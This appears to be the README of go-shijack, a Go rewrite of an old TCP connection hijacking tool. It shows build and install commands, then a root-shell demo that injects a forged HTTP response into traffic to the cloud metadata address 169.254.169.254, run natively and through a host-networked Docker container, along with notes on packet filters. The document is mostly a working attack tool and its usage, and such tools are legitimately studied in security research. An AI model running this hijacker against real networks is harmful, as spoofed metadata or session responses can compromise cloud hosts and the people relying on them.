tcp connection hijacker, go rewrite of shijack from 2001.
make go-shijack
make container
CGO_ENABLED=0 go install github.com/ssst0n3/go-shijack/cmd/[email protected]
root@ecs-c5a4:~# cat > flag << EOF
HTTP/1.1 200 OK
Content-Length: 11
flag{test}
EOF
root@ecs-c5a4:~# ./go-shijack -t eth0 -i 169.254.169.254 -p 80 -f flag &
[1] 362712
root@ecs-c5a4:~# curl http://169.254.169.254
flag{test}
root@ecs-c5a4:~# docker run -d --net=host -ti --rm -v $(pwd):/data ssst0n3/go-shijack:v0.1 -t eth0 -i 169.254.169.254 -p 80 -f /data/flag -k
root@ecs-c5a4:~# curl http://169.254.169.254
flag{test}
Use predefined pattern, just provide host and port to go-shijack
Compile filter manually
tcpdump ip -d -s 65536 host 169.254.169.254